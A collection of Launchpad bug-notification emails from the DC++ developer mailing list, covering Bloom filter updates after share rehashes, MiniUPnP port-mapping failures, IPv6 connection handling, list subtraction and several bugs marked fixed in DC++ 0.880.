- [2023-02-28 09:07]  SS also should be hooked on at the very least but 
a perfect solution would be something that is signalling the share change in 
general or the number of re-hashes in the current client session. Or the last 
rehash timestamp. These signals would be adequate for requesting a new Bloom 
filter in all cases when it is needed to.
- [2023-02-28 09:11]  Of course the client could force to send an INF SF 
after all rehashes in case it supports Blom, but it's pretty ugly to implement 
in DC++ and, more importantly, it is against the protocol since you send INFs 
only if some values change and in these special cases we investigate this would 
mean sending multiple INF SF's with the same value.
- [2023-02-28 09:13]  "Each time this is received, it means that the 
fields specified have been added or updated." in 
https://adc.sourceforge.io/ADC.html#_inf
- [2023-02-28 09:17]  If an extension is allowed to specify new INF 
fields then a last rehash timestamp field would probably be the cleanest 
solution for this both protocol and implementation wise...
+ --
+ 
+ There is a problem of not getting a search result for any number of
+ changed files (same path/different content) in the share after re-
+ hashing in an ADC client connected to an ADC hub with Bloom filter
+ support of TTH searches.
+ 
+ The issue is because the hub requesting a new bloom filter only if the number 
of shared files are changed in the INF SF coming from the client. In common 
examples like when you share an updated binary or change a text file and 
reindex this would obviously not happen. For example changing of a fix-sized 
metadata e.g. an MP3 IDv1 tag resulting exactly this scenario.
+ So the filter request is based on an inadequate signal that's not enough for 
all common use cases.
+ 
+ A solution would be something that is signalling the share change in
+ general or also provided the number of re-hashes in the current client
+ session or maybe the last rehash timestamp. These signals would be
+ adequate for requesting a new Bloom filter in all cases when files
+ changed in a client's share.
+ 
+ Of course a BLOM supporting client could force to send an INF SF after
+ all re-hashes when there is a content change in the share but it is
+ against the protocol since INFs allowed to send only if any of the flag
+ values changed and in these special case this would mean sending
+ multiple INF SF's with the same SF value (see "Each time this is
+ received, it means that the fields specified have been added or
+ updated." in https://adc.sourceforge.io/ADC.html#_inf ).
+ 
+ If an extension is allowed to specify new INF fields then a new flag
+ ("SC"?)  optionally with parameters containing more data for the hub
+ about the actual share change, like a last rehash timestamp and number
+ of changed files. This would probably be the cleanest solution but it
+ needs a protocol update for the BLOM ADC extension.
  
  Within the currently defined standards another possibility is to do some
- client side trickery, an ugly hack to slightly fake SF or SS (eg. by
- incrementing one of them by 1) in each of this special share change case
- so then that triggers a Bloom update.
+ client side trickery, an ugly hack to slightly fake SF (eg. by
+ incrementing it by 1) in each of this special share change casees so
+ then that'd trigger a BLOM request for an updated filter.

** Summary changed:

- Certain type of changes in the share do not trigger a Bloom filter update 
which makes such changed files temporarily unsearchable
+ Certain type of changes in the share do not trigger a Bloom filter update 
which makes such changed files temporarily unsearchable by TTH

-- 
You received this bug notification because you are a 

[Linuxdcpp-team] [Bug 2016139] Re: DC++ closes after sending error message

[eMTee]

The DC++ version you use is 17 years old. 
Use a version (e.g. the newest one) that has not released 9 years BEFORE 
Windows 10.


** Changed in: dcplusplus
   Status: New => Invalid

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2016139

Title:
  DC++ closes after sending error message

Status in DC++:
  Invalid

Bug description:
  Hello, excuse my English, I barely speak it, I'm using the google
  translator. For a few days, when I turn on my DC++, after a minute a
  little window appears in the middle and says:

  "DC++ just encountered a fatal bug and should have written an
  exceptioninfo.txt the same directory as the executable. You can upload
  this file at http://dcplusplus.sf.net/crash/ to help us find out what
  happened (please do not report this bug in the bug tracker unless you
  know the exact steps to reproduce it...) Go There now?"

  Please, I need help, I have looked in the root directory and there is
  no text file where the bug is. My dc++ is version 0.674 AND I HAVE
  WINDOWS 10 64 BITS. What is happening to my DC++??

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2016139/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2009492] [NEW] Certain type of changes in the share do not trigger a Bloom filter update which makes such changed files temporarily unsearchable

[eMTee]

Public bug reported:

 So not getting a result for a changed file (same path/different 
content) in the share after re-hashing is because the hub requesting a new 
bloom filter only if the number of shared files are changed in the INF coming 
from the client. In common examples like when you share an updated binary or 
change a text file and reindex this would not happen at all.
 Bloom request is only triggered by an SF and not SS in the INF. See 
https://sourceforge.net/p/adchpp/code/ci/default/tree/plugins/Bloom/src/BloomManager.cpp#L98
 
 And with adding SS to the check there we're still not completly out of 
water since if the share change is a same path, same size, different content 
change then it still sucks. Minor editing of a text file or change of a 
fix-sized metadata e.g. an MP3 IDv1 tag resulting exactly this scenario.
 You can change even all of your share in this special way and if you 
don't change the sizes and number of files then you won't provide hits at all 
until you do some other kind of share change or reconnect the hub.

[2023-02-28 09:03]  So Blom request is based on an inadequate signal 
that's not enough for all cases.
[2023-02-28 09:07]  SS also should be hooked on at the very least but a 
perfect solution would be something that is signalling the share change in 
general or the number of re-hashes in the current client session. Or the last 
rehash timestamp. These signals would be adequate for requesting a new Bloom 
filter in all cases when it is needed to.
[2023-02-28 09:11]  Of course the client could force to send an INF SF 
after all rehashes in case it supports Blom, but it's pretty ugly to implement 
in DC++ and, more importantly, it is against the protocol since you send INFs 
only if some values change and in these special cases we investigate this would 
mean sending multiple INF SF's with the same value.
[2023-02-28 09:13]  "Each time this is received, it means that the 
fields specified have been added or updated." in 
https://adc.sourceforge.io/ADC.html#_inf
[2023-02-28 09:17]  If an extension is allowed to specify new INF fields 
then a last rehash timestamp field would probably be the cleanest solution for 
this both protocol and implementation wise...

Within the currently defined standards another possibility is to do some
client side trickery, an ugly hack to slightly fake SF or SS (eg. by
incrementing one of them by 1) in each of this special share change case
so then that triggers a Bloom update.

** Affects: adchpp
 Importance: Undecided
 Status: New

** Affects: dcplusplus
 Importance: Low
 Status: Confirmed

** Also affects: adchpp
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2009492

Title:
  Certain type of changes in the share do not trigger a Bloom filter
  update which makes such changed files temporarily unsearchable

Status in ADCH++:
  New
Status in DC++:
  Confirmed

Bug description:
   So not getting a result for a changed file (same path/different 
content) in the share after re-hashing is because the hub requesting a new 
bloom filter only if the number of shared files are changed in the INF coming 
from the client. In common examples like when you share an updated binary or 
change a text file and reindex this would not happen at all.
   Bloom request is only triggered by an SF and not SS in the INF. See 
https://sourceforge.net/p/adchpp/code/ci/default/tree/plugins/Bloom/src/BloomManager.cpp#L98
 
   And with adding SS to the check there we're still not completly out 
of water since if the share change is a same path, same size, different content 
change then it still sucks. Minor editing of a text file or change of a 
fix-sized metadata e.g. an MP3 IDv1 tag resulting exactly this scenario.
   You can change even all of your share in this special way and if you 
don't change the sizes and number of files then you won't provide hits at all 
until you do some other kind of share change or reconnect the hub.

  [2023-02-28 09:03]  So Blom request is based on an inadequate signal 
that's not enough for all cases.
  [2023-02-28 09:07]  SS also should be hooked on at the very least but 
a perfect solution would be something that is signalling the share change in 
general or the number of re-hashes in the current client session. Or the last 
rehash timestamp. These signals would be adequate for requesting a new Bloom 
filter in all cases when it is needed to.
  [2023-02-28 09:11]  Of course the client could force to send an INF SF 
after all rehashes in case it supports Blom, but it's pretty ugly to implement 
in DC++ and, more importantly, it is against the protocol since you send INFs 
only if some values change and in these special cases we investigate this would 
mean sending multiple INF SF's with the same value.
  [2023-02-28 09:13]  "Each time this is received, it means 

[Linuxdcpp-team] [Bug 2002785] [NEW] Subtract list not working on folders with many files

[eMTee]

Public bug reported:

Converted from Question #704374

When subtracting my own file list from a list of another user not all files 
with the same hash are subtracted. I manually checked the xml-files and 
verified that the hashes indeed are in both files. The files that are not 
subtracted are in 2 folders with many files in the list of the other user (one 
with 1283 files and one with 1620). In my list those files are in folders with 
less than 200 files in it.
Strange thing is when i subtract the list of the other user from itself (or a 
slighty different version from that user from a week ago orso) those same files 
are subtracted correctly.

I already tried deleting the files HashData.dat and HashIndex.xml and let the 
client do a complete reindex but the problem remains.
I am using the lastest stable version (0.880)

Does anybody know what may be causing this weird behavior?

Addition:
I downloaded all the other files in the 2 folders from the other user and added 
them to my file list. Now when i do a subtract ALL hashes are correctly 
processed (so also the files which weren't subtracted earlier).
So the problem only occurs when there are a lot of files in a folder in the 
source file list (>1000 in my case) AND only a small number of those files are 
in the file list which is subtracted (<60 in my case).
So it looks like when a certain amount of files/hashes in a folder in the 
source file list is not found in the subtracted list the rest of the files in 
that folder are skipped.

** Affects: dcplusplus
 Importance: Undecided
 Status: New

** Description changed:

+ Converted from Question #704374
+ 
  When subtracting my own file list from a list of another user not all files 
with the same hash are subtracted. I manually checked the xml-files and 
verified that the hashes indeed are in both files. The files that are not 
subtracted are in 2 folders with many files in the list of the other user (one 
with 1283 files and one with 1620). In my list those files are in folders with 
less than 200 files in it.
  Strange thing is when i subtract the list of the other user from itself (or a 
slighty different version from that user from a week ago orso) those same files 
are subtracted correctly.
  
  I already tried deleting the files HashData.dat and HashIndex.xml and let the 
client do a complete reindex but the problem remains.
  I am using the lastest stable version (0.880)
  
  Does anybody know what may be causing this weird behavior?
  
  Addition:
  I downloaded all the other files in the 2 folders from the other user and 
added them to my file list. Now when i do a subtract ALL hashes are correctly 
processed (so also the files which weren't subtracted earlier).
  So the problem only occurs when there are a lot of files in a folder in the 
source file list (>1000 in my case) AND only a small number of those files are 
in the file list which is subtracted (<60 in my case).
  So it looks like when a certain amount of files/hashes in a folder in the 
source file list is not found in the subtracted list the rest of the files in 
that folder are skipped.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2002785

Title:
  Subtract list not working on folders with many files

Status in DC++:
  New

Bug description:
  Converted from Question #704374

  When subtracting my own file list from a list of another user not all files 
with the same hash are subtracted. I manually checked the xml-files and 
verified that the hashes indeed are in both files. The files that are not 
subtracted are in 2 folders with many files in the list of the other user (one 
with 1283 files and one with 1620). In my list those files are in folders with 
less than 200 files in it.
  Strange thing is when i subtract the list of the other user from itself (or a 
slighty different version from that user from a week ago orso) those same files 
are subtracted correctly.

  I already tried deleting the files HashData.dat and HashIndex.xml and let the 
client do a complete reindex but the problem remains.
  I am using the lastest stable version (0.880)

  Does anybody know what may be causing this weird behavior?

  Addition:
  I downloaded all the other files in the 2 folders from the other user and 
added them to my file list. Now when i do a subtract ALL hashes are correctly 
processed (so also the files which weren't subtracted earlier).
  So the problem only occurs when there are a lot of files in a folder in the 
source file list (>1000 in my case) AND only a small number of those files are 
in the file list which is subtracted (<60 in my case).
  So it looks like when a certain amount of files/hashes in a folder in the 
source file list is not found in the subtracted list the rest of the files in 
that folder are skipped.

To manage notifications about this bug go to:

[Linuxdcpp-team] [Bug 1993817] Re: Unable to create port mappings in DC++ with MiniUPnP mapper while other apps using MiniUPnP succeed

[eMTee]

We want to fix this somehow by adding a possibility to detect these
slightly ill behaving routers so this remains open. Especially after
seeing your link suggesting there's a whole lot of newish TP-Link models
suffer from this issue.

The Windows UPnP mapper implementation was great option when it's been
added ~20 years ago but it was pretty unstable and error prone, not
working well with many router models and produce false positives (report
success when port mapping won't work) with others. Eventually we thought
MiniUPnP would cover it all as we've found great rate of successful port
mappings with it.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1993817

Title:
  Unable to create port mappings in DC++ with MiniUPnP mapper while
  other apps using MiniUPnP succeed

Status in DC++:
  Confirmed

Bug description:
  Tested DC++ up to version 0.880. Windows 10 x64.

  System Log:
[17:35] Port mapping: Failed to initialize the MiniUPnP interface
[17:35] Port mapping: Failed to map the Transfer port (54648 TCP) with 
the NAT-PMP interface
[17:35] Port mapping: Failed to create port mappings

  I tried to select a specific network interface in the settings, disable all 
network interfaces except one.
  At the same time ApexDC++ and qBittorrent are successfully opened ports with 
UPnP.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1993817/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1494814] Re: Add Visual Studio 2022 support to MSVCProj generation

[eMTee]

** Changed in: dcplusplus
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1494814

Title:
  Add Visual Studio 2022 support to MSVCProj generation

Status in DC++:
  Fix Committed

Bug description:
  With the release of VS 2015 it would be nice to get DC++ MSVCProj
  generation to support VS 2015 sln generation for compilation with VS
  2015.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1494814/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1993817] Re: Unable to create port mappings in DC++ with MiniUPnP mapper while other apps using MiniUPnP succeed

[eMTee]

Yeah, that was expected looking at the code and your earlier eMule log. 
Basically this means your router does not report to be connected (to the 
Internet presumably) by the way MiniUPnP detects it and our current code 
doesn't accept those as a successfully usable device for mapping.

See
https://github.com/miniupnp/miniupnp/blob/207cf440a22c075cb55fb067a850be4f9c204e6e/miniupnpc/src/miniupnpc.c#L532
which calls
https://github.com/miniupnp/miniupnp/blob/207cf440a22c075cb55fb067a850be4f9c204e6e/miniupnpc/src/miniupnpc.c#L516
for the connectivity detection - which is really a hackish detection so
it's not a surprise that some IGD implementations may return other
arbitrary string (or nothing) there with the connection status.

The problem is that unconditionally accepting these cases are illogical
since if the device is really not connected or it is e.g. an old router
used for switch in a local network with UPnP service left enabled,
etc... then it is unusable for our purpose.

You do have only one gateway device in your local network, right?

We are weighing options for checking for all available gateways and use
unconnected ones only if there's no connected one, possibly with a
warning displayed but it'd make the current straightforward slick mapper
init thing a lot more difficult (and error prone).

Another way is to add an "Advanced device discovery" option to manual
connectivity settings and do the above only if it's enabled manually and
do not use it for the automatic connectivity detection process.

If you're curious we can give another go and get what status string your
router provides while it is apparently connected - maybe M. Bernard
would also interested on it :) Though skimming through
https://github.com/miniupnp/miniupnp/blob/207cf440a22c075cb55fb067a850be4f9c204e6e/miniupnpc/src/upnpcommands.c#L119
I won't be surprised to see no string returned at all, etiher.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1993817

Title:
  Unable to create port mappings in DC++ with MiniUPnP mapper while
  other apps using MiniUPnP succeed

Status in DC++:
  Confirmed

Bug description:
  Tested DC++ up to version 0.880. Windows 10 x64.

  System Log:
[17:35] Port mapping: Failed to initialize the MiniUPnP interface
[17:35] Port mapping: Failed to map the Transfer port (54648 TCP) with 
the NAT-PMP interface
[17:35] Port mapping: Failed to create port mappings

  I tried to select a specific network interface in the settings, disable all 
network interfaces except one.
  At the same time ApexDC++ and qBittorrent are successfully opened ports with 
UPnP.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1993817/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1993817] Re: Unable to create port mappings in DC++ with MiniUPnP mapper while other apps using MiniUPnP succeed

[eMTee]

Can you please try a MiniUPnP mapping with the attached debug build?
It'll open a console where it should print a line starting with
'Mapper_MiniUpnp:' the same time when you get the error message in the
program UI.

** Attachment added: "DCPlusPlus_debug.zip"
   
https://bugs.launchpad.net/dcplusplus/+bug/1993817/+attachment/5626415/+files/DCPlusPlus_debug.zip

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1993817

Title:
  Unable to create port mappings in DC++ with MiniUPnP mapper while
  other apps using MiniUPnP succeed

Status in DC++:
  Confirmed

Bug description:
  Tested DC++ up to version 0.880. Windows 10 x64.

  System Log:
[17:35] Port mapping: Failed to initialize the MiniUPnP interface
[17:35] Port mapping: Failed to map the Transfer port (54648 TCP) with 
the NAT-PMP interface
[17:35] Port mapping: Failed to create port mappings

  I tried to select a specific network interface in the settings, disable all 
network interfaces except one.
  At the same time ApexDC++ and qBittorrent are successfully opened ports with 
UPnP.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1993817/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1993817] Re: Unable to create port mappings with MiniUPnP/NAT-PMP

[eMTee]

Yeah, depending on the outcome I was about to recommend running the
MiniUPnPc command line client next to see what happens but you overtook
me in a way and confirmed that the library is indeed working well with
your router.

I'll try to build something that emits more about why the mapper
initialization fails at you.

** Changed in: dcplusplus
   Status: New => Confirmed

** Changed in: dcplusplus
   Importance: Undecided => Medium

** Summary changed:

- Unable to create port mappings with MiniUPnP/NAT-PMP
+ Unable to create port mappings in DC++ with MiniUPnP mapper while other apps 
using MiniUPnP succeed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1993817

Title:
  Unable to create port mappings in DC++ with MiniUPnP mapper while
  other apps using MiniUPnP succeed

Status in DC++:
  Confirmed

Bug description:
  Tested DC++ up to version 0.880. Windows 10 x64.

  System Log:
[17:35] Port mapping: Failed to initialize the MiniUPnP interface
[17:35] Port mapping: Failed to map the Transfer port (54648 TCP) with 
the NAT-PMP interface
[17:35] Port mapping: Failed to create port mappings

  I tried to select a specific network interface in the settings, disable all 
network interfaces except one.
  At the same time ApexDC++ and qBittorrent are successfully opened ports with 
UPnP.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1993817/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1993817] Re: Unable to create port mappings with MiniUPnP/NAT-PMP

[eMTee]

Alright, let's start with test some older verisons with relevant changes
to the mapper library to see whether this is a regression. I've made a
few portable ones available to download from our website.

Please extract them to a separate folder to avoid interference with the
installed version.

The two newer version should work the same as the current one, in 0.802
we had two UPnP mappers, one of which has been deprecated since.
ApexDC++ also uses that one possibly, I'm not sure.

https://dcplusplus.sourceforge.io/DCPlusPlus-0.865-x64.zip
https://dcplusplus.sourceforge.io/DCPlusPlus-0.851-x64.zip
https://dcplusplus.sourceforge.io/DCPlusPlus-0.802.zip

For easier communication, if you like, you can join our dev hub at
adcs://hub.dcbase.org:16591/?kp=SHA256/ATFW63HSK5RSOSSOGJ7GIRNEDWNQY7YK2GPZ3PKLSFVFZZTVL2ZA

Thanks for your help!

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1993817

Title:
  Unable to create port mappings with MiniUPnP/NAT-PMP

Status in DC++:
  New

Bug description:
  Tested DC++ up to version 0.880. Windows 10 x64.

  System Log:
[17:35] Port mapping: Failed to initialize the MiniUPnP interface
[17:35] Port mapping: Failed to map the Transfer port (54648 TCP) with 
the NAT-PMP interface
[17:35] Port mapping: Failed to create port mappings

  I tried to select a specific network interface in the settings, disable all 
network interfaces except one.
  At the same time ApexDC++ and qBittorrent are successfully opened ports with 
UPnP.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1993817/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1993817] Re: Unable to create port mappings with MiniUPnP/NAT-PMP

[eMTee]

Well, I am out of suggestions that you might try with your current
setup.

It's either our port mapping library/version is incompatible with your
gateway or something else at play here. Obviously what I see in your
screenshots are working here.

If you're up to do some rather easy tests (I guess you probably don't,
you just simply want to use this program) then we might figure out more,
otherwise I'm afraid the only solution for you is to try to do manual
port forwarding in order to use DC++ right now.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1993817

Title:
  Unable to create port mappings with MiniUPnP/NAT-PMP

Status in DC++:
  New

Bug description:
  Tested DC++ up to version 0.880. Windows 10 x64.

  System Log:
[17:35] Port mapping: Failed to initialize the MiniUPnP interface
[17:35] Port mapping: Failed to map the Transfer port (54648 TCP) with 
the NAT-PMP interface
[17:35] Port mapping: Failed to create port mappings

  I tried to select a specific network interface in the settings, disable all 
network interfaces except one.
  At the same time ApexDC++ and qBittorrent are successfully opened ports with 
UPnP.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1993817/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1993817] Re: Unable to create port mappings with MiniUPnP/NAT-PMP

[eMTee]

Please try to make sure DC++ is enabled in Windows/3rd party
firewalls/app controls (if any), see
https://dcplusplus.sourceforge.io/webhelp/faq_unblock.html

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1993817

Title:
  Unable to create port mappings with MiniUPnP/NAT-PMP

Status in DC++:
  New

Bug description:
  Tested DC++ up to version 0.880. Windows 10 x64.

  System Log:
[17:35] Port mapping: Failed to initialize the MiniUPnP interface
[17:35] Port mapping: Failed to map the Transfer port (54648 TCP) with 
the NAT-PMP interface
[17:35] Port mapping: Failed to create port mappings

  I tried to select a specific network interface in the settings, disable all 
network interfaces except one.
  At the same time ApexDC++ and qBittorrent are successfully opened ports with 
UPnP.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1993817/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1993817] Re: Unable to create port mappings with MiniUPnP/NAT-PMP

[eMTee]

This looks to be a log snippet from an automatic connectivity detection
operation. If so then that won't try all available interfaces by design,
only the one that is set as default in the OS.

If you need to force a specific interface to use with DC++ then you have
to set the connection settings manually.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1993817

Title:
  Unable to create port mappings with MiniUPnP/NAT-PMP

Status in DC++:
  New

Bug description:
  Tested DC++ up to version 0.880. Windows 10 x64.

  System Log:
[17:35] Port mapping: Failed to initialize the MiniUPnP interface
[17:35] Port mapping: Failed to map the Transfer port (54648 TCP) with 
the NAT-PMP interface
[17:35] Port mapping: Failed to create port mappings

  I tried to select a specific network interface in the settings, disable all 
network interfaces except one.
  At the same time ApexDC++ and qBittorrent are successfully opened ports with 
UPnP.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1993817/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1682791] Re: Unencrypted CCPM connections are not being rejected

[eMTee]

Fixed in DC++ 0.880

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1682791

Title:
  Unencrypted CCPM connections are not being rejected

Status in AirDC++:
  Fix Released
Status in DC++:
  Fix Released

Bug description:
  The application still incorrectly shows that direct encrypted channel
  has been established. AirDC++ also shouldn't allow establishing direct
  encrypted channels when transfer encryption has been disabled.

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1682791/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1774502] Re: Free GeoIP Database Format Change

[eMTee]

Fixed in DC++ 0.880

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1774502

Title:
  Free GeoIP Database Format Change

Status in DC++:
  Fix Released

Bug description:
  "Updated versions of the GeoLite Legacy databases are now only available to 
redistribution license customers, although anyone can continue to download the 
March 2018 GeoLite Legacy builds. Starting January 2, 2019, the last build will 
be removed from our website. GeoLite Legacy database users will need to switch 
to the GeoLite2 or commercial GeoIP databases and update their integrations by 
January 2, 2019."
  https://dev.maxmind.com/geoip/legacy/geolite/

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1774502/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1952754] Re: [Hublist] tankafett[.]biz is no more a hublist

[eMTee]

Fixed in DC++ 0.880

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1952754

Title:
  [Hublist] tankafett[.]biz is no more a hublist

Status in AirDC++:
  Fix Released
Status in DC++:
  Fix Released
Status in FlylinkDC++:
  New

Bug description:
  The website tankafett[.]biz is no more a hublist, it's now a adult
  tracker.

  You should delete from the hublist website list of your software

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1952754/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1970416] Re: Focus isn't set properly at startup on some type of windows

[eMTee]

Fixed in DC++ 0.880

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1970416

Title:
  Focus isn't set properly at startup on some type of windows

Status in DC++:
  Fix Released

Bug description:
  No Focus on Writing bar in DC++
  Normally no mater when writing in DCC its suppose to focus on Write BAR 
  have to click on it to Write

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1970416/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1979900] Re: Outgoing connections are attempted on IPv6 on some cases when there's no v6 connectivity

[eMTee]

Fixed in DC++ 0.880

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1979900

Title:
  Outgoing connections are attempted on IPv6 on some cases when there's
  no v6 connectivity

Status in DC++:
  Fix Released

Bug description:
  [2022-06-17 17:13]  Recently I was surprised seeing "::" in the IP 
column in the hubframe userlist for all other DC++ users in each LuaDCH hubs 
I'm in. I've never seen such thing before.
  [2022-06-17 17:14]  Actually the hub sends I6:: in BINF for all DC++ 
users but not for users of some other clients.
  [2022-06-17 17:16]  LuaDCH devs confirmed that it is a known issue and 
they're working on it. 
  [2022-06-17 17:18]  They did not tell the cause but I'm guessing it is 
because DC++ doesn't support HBRI, an unofficial ADC extension developed by 
maksis in AirDC++ and what they're using for managing hybrid v4/v6 connetions.
  [2022-06-17 17:20]  I checked why this zero IP value is displayed 
instead of the usual v4 address in DC++. Turned out it's 
User::Identity::getIp() which prefers returning IPv6 when both IP adresses are 
available.
  [2022-06-17 17:22]  This a hub bug and since I see we accept whatever 
the hub send in an ADC command param without checking for format/value so it 
causes a visual disruption. 
  [2022-06-17 17:24]  But. I checked where User::Identity::getIp() used 
elsewhere. Actually it is used for getting the IP for outgoing connections in 
ConnectionManager and ClientManager.
  [2022-06-17 17:26]  In this buggy case it would return the IPv6 value 
for all outgoing connection attempts, even if you have IPv4 connectivity only. 
That obviously breaks outgoing connections to those users for whom the hub 
supplies a wrong I6 value. Still, this isn't much of a problem as it caused by 
getting some nonsense from a buggy hub.
  [2022-06-17 17:28]  Sending zero IP value from a hub is indeed 
nonsense but if the hub sends the valid IPv6 address of the user in I6 then 
this will actually break your outgoing connections the same way in case you 
have v4 connectivity only.
  [2022-06-17 17:29]  It breaks uploads, CCPM and sending udp search 
responds.
  [2022-06-17 17:34]  Looks like getting IPv6 addresses in BINF from the 
hub seems to be nonexistent thing even from hubs running in dual IP mode. 
  [2022-06-17 17:39]  Relevant parts of the code are 
https://sourceforge.net/p/dcplusplus/code/ci/93a0986b55c5b07038451fd336a30149076a21d1/tree/dcpp/User.cpp#l86
 , 
https://sourceforge.net/p/dcplusplus/code/ci/93a0986b55c5b07038451fd336a30149076a21d1/tree/dcpp/ConnectionManager.cpp#l410
 , 
https://sourceforge.net/p/dcplusplus/code/ci/93a0986b55c5b07038451fd336a30149076a21d1/tree/dcpp/ClientManager.cpp#l455
  [2022-06-17 17:41]  tl;dr is that we should not attempt to estabilish 
